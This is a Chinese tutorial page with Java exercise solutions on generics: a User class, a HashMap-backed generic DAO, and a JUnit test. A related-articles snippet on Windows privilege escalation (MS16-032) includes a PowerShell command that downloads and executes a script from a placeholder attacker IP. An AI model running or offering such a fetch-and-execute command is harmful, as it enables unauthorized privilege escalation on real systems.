【韩顺平零基础学java】第15章练习题

news2024/12/23 17:13:50

1

在这里插入图片描述

2.

在这里插入图片描述
使用方法
1.写方法
2.使用@Test注解
3.点击左侧运行符号运行
在这里插入图片描述

3.

在这里插入图片描述

  • User
package com.hspedu.homework;

/**
 * @author 韩顺平
 * @version 1.0
 * 该类包含:private成员变量(int类型) id,age;(String 类型)name
 */
public class User {
    private int id;
    private int age;
    private String name;

    public User(int id, int age, String name) {
        this.id = id;
        this.age = age;
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", age=" + age +
                ", name='" + name + '\'' +
                '}';
    }
}

  • DAO
 package com.hspedu.homework;

import java.util.*;

/**
 * @author 韩顺平
 * @version 1.0
 * 定义个泛型类 DAO<T>,在其中定义一个Map 成员变量,Map 的键为 String 类型,值为 T 类型。
 *  *
 *  * 分别创建以下方法:
 *  * (1) public void save(String id,T entity): 保存 T 类型的对象到 Map 成员变量中
 *  * (2) public T get(String id):从 map 中获取 id 对应的对象
 *  * (3) public void update(String id,T entity):替换 map 中key为id的内容,改为 entity 对象
 *  * (4) public List<T> list():返回 map 中存放的所有 T 对象
 *  * (5) public void delete(String id):删除指定 id 对象
 */
public class DAO<T> {//泛型类
    private Map<String, T> map = new HashMap<>();

    public T get(String id) {
        return map.get(id);
    }
    public void update(String id,T entity) {
        map.put(id, entity);
    }
    //返回 map 中存放的所有 T 对象
    //遍历map [k-v],将map的 所有value(T entity),封装到ArrayList返回即可
    public List<T> list() {
        //创建 Arraylist
        List<T> list = new ArrayList<>();

        //遍历map
        Set<String> keySet = map.keySet();
        for (String key : keySet) {
            //map.get(key) 返回就是 User对象->ArrayList
            list.add(map.get(key));//也可以直接使用本类的 get(String id)
        }

        return list;
    }
    public void delete(String id) {
        map.remove(id);
    }
    public void save(String id,T entity) {//把entity保存到map
        map.put(id, entity);

    }

}

  • Homework
public class Homework {
    public static void main(String[] args) {

    }

    @Test
    public void testList() {
        //说明
        //这里我们给T 指定类型是User
        DAO<User> dao = new DAO<>();
        dao.save("001", new User(1,10,"jack"));
        dao.save("002", new User(2,18,"king"));
        dao.save("003", new User(3,38,"smith"));

        List<User> list = dao.list();

        System.out.println("list=" + list);

        dao.update("003", new User(3, 58, "milan"));
        dao.delete("001");//删除
        System.out.println("===修改后====");
        list = dao.list();
        System.out.println("list=" + list);

        System.out.println("id=003 " + dao.get("003"));//milan

    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1831241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

grid布局的各项css说明

还有place-self,相当于justify-self与align-selft的复合属性 还有order

慎投!新增1本中科院1区顶刊被“On Hold”

本周投稿推荐 SSCI • 中科院2区&#xff0c;6.0-7.0&#xff08;录用友好&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; CNKI • 7天录用-检索&#xff08;急录友好&#xff09; SCI&EI • 4区生物医学类&#xff0c;0.5-1.0&#xff08;录用…

集群初始配置

假设已经有三台或多台 Linux&#xff0c;可以是虚拟机或真实设备。如果希望使用这些 Linux 组成一个集群&#xff0c;并在上面运行一些分布式系统&#xff0c;可能需要如下操作。 1 设置静态IP 输入命令route -n打印路由表&#xff0c;可以查看网关地址。图形界面操作&#x…

压缩映射定理证明

收缩映射定理&#xff08;又称Banach不动点定理&#xff09;是一个重要的结果&#xff0c;特别是在分析和应用数学中。 定理&#xff08;收缩映射定理&#xff09;&#xff1a;假设是一个从度量空间 (X,d) 到自身的函数&#xff0c;如果 是一个收缩映射&#xff0c;即存在常数 …

SwitchHosts 简明教程

转载请标明出处&#xff1a;https://blog.csdn.net/donkor_/article/details/139743047 文章目录 一、SwitchHosts 是什么二、功能特性三、安装四、使用4.1 本地添加host4.2 本地127.0.0.1添加指定IP 五、修改 hosts 后不生效 一、SwitchHosts 是什么 SwitchHosts 是一个管理 …

领夹麦克风哪个品牌音质最好?轻揭无线麦克风哪个品牌性价比高!

​随着短视频热潮的兴起&#xff0c;越来越多的人倾向于用vlog记录日常生活&#xff0c;同时借助短视频和直播平台开辟了副业。在这一过程中&#xff0c;麦克风在近两年内迅速发展&#xff0c;从最初的简单收音功能演变为拥有多样款式和功能&#xff0c;以满足视频创作的需求。…

抢抓养生“新热点” 中华老字号“宝藏产品”上新

正在开展中的江苏省老字号“三进三促”活动暨第六届中国&#xff08;江苏&#xff09;老字号博览会上&#xff0c;苏州李良济等18家江苏新一批“中华老字号”获正式授牌。活动中&#xff0c;“老字号”紧扣“新热点”&#xff0c;着重推出一批创新养生产品。 本次博览会于6月14…

HarmonyOS【ArkUI组件--Button】

1.Button基本使用 2. 通过按钮实现图片放大缩小 在此博客的基础上继续编写&#xff1a; HarmonyOS【ArkUI组件--TextInput】-CSDN博客 ①关键代码如下&#xff1a; ②完整代码如下&#xff1a; import font from ohos.font Entry Component struct Index {State imageWidth:num…

Linux 通过日志快速定位错误必掌握命令

author: 放牛娃学编程 CSDN&#xff1a;放牛娃学编程 moto: 分享与热爱&#xff0c;不是大爱我不说 放牛娃每日一语: 你改变不了出生、但是你可以改变自己 如果你是开发、运维人员&#xff0c;那你一定要收藏这篇文章 因为这里你能学到AI永远也给不了你的知识 Linux 通过日志…

MES里面有质量模块,为什么还要实施质量管理软件(QMS)

为什么一些知名头部的大厂&#xff0c;已经有了MES , 却还都去实施了质量管理软件&#xff08;QMS&#xff09;? 答&#xff1a;是这些MES里面的质量模块不能满足客户的需求。 那么来看看&#xff0c;从质量管理的角度来看&#xff0c;QMS软件系统是什么样子的&#xff1f; …

用 微 / 积分思想妙解关于等比数列的和

同理&#xff0c;也是微积分思想&#xff1a; 求 (\sum_{k1}^n q^k) 的和&#xff1a; 我们知道几何级数的求和公式&#xff1a; ∑ k 0 n q k 1 − q n 1 1 − q (对于 q ≠ 1 ) \sum_{k0}^n q^k \frac{1-q^{n1}}{1-q} \quad \text{(对于 } q \neq 1\text{)} k0∑n​qk…

物联网主机E6000:智慧安防的核心动力

随着科技的不断进步&#xff0c;物联网&#xff08;IoT&#xff09;技术已经深入到我们生活的各个领域&#xff0c;尤其是在智慧安防领域&#xff0c;物联网技术的应用正变得越来越广泛。物联网主机E6000作为一款高性能的智能设备&#xff0c;其在智慧安防系统中扮演着至关重要…

2024年应届生就业比惨大赛,即将一触即发,FPGA方向怎么样?

2024年应届生就业比惨大赛&#xff0c;即将一触即发&#xff0c; 如果你不想榜上有名&#xff0c; 就看看小编为你薅遍HR老师总结出来的就业秘籍~ 电气类专业 张雪峰老师评价&#xff1a;新能源汽车、光伏、风电在风口&#xff0c;适合县级以下老家就业&#xff0c;对于大城…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

Cesium加载Mapbox自定义地图

Cesium 加载影像地图&#xff0c;一般都是天地图&#xff0c;高德地图&#xff0c;必应地图&#xff0c;谷歌地图等。 如果真实项目中想要自定义地图的风格样式&#xff0c;为了配合相应的页面UI风格&#xff0c;这些公共免费的影像地图就满足不了需求。 但是MapBox可以支持自…

python之日志(三)--将捕获的异常写入日志中

1.日志级别 import logging #日志模块 #默认下只会从第3级开始打印 logging.debug(DEBUG级别) #1级 logging.info(INFO级别) #2级 logging.warning(WARNING级别) #3级 logging.error(ERROR级别) #4级 logging.critical(CRITICAL级别) #5级 默认第1和第2级的日志不会打印 …

原子阿波罗STM32F767程序的控制器改为STM32F407驱动LCD屏

由于手里没有原子大神的F429开发板&#xff0c;又还想学习原子大神的F429开发板程序&#xff0c;前几天&#xff0c;经过更换控制器&#xff0c;成功把原子大神的F429开发板程序用到了F407开发板上&#xff0c;驱动LCD屏显示成功&#xff0c;目的&#xff0c;就是熟悉原子大神的…

2024 年 5 月公链研报:监管调整与市场新动向

作者&#xff1a;stellafootprint.network 数据来源&#xff1a;公链 Research 页面 五月份&#xff0c;加密货币市场经历了重要的监管和政治动态。美国证券交易委员会&#xff08;SEC&#xff09;批准了现货以太坊 ETF 的初步申请文件&#xff0c;这一举措提振了以太坊及其…

2024年高考,应该选择哪些专业和学校?

2024年高考已经告一段落&#xff0c;目前&#xff0c;高考评卷工作正在有序进行&#xff0c;马上进入紧张时期的是考生如何选择院校&#xff0c;填报志愿。在分数限制下&#xff0c;选择哪些专业和好学校&#xff0c;需要综合考虑多个因素。以下是基于当前信息的一些建议&#…

环境科学SCI期刊,IF=8.5+,期刊发展势头非常好

一、期刊名称 SUSTAINABLE DEVELOPMENT 二、期刊简介概况 期刊类型&#xff1a;SCI 学科领域&#xff1a;环境科学与生态学 影响因子&#xff1a;8.562 中科院分区&#xff1a;2区 三、期刊征稿范围 该期刊是一本跨学科出版物&#xff0c;旨在解决和讨论实现可持续发展的…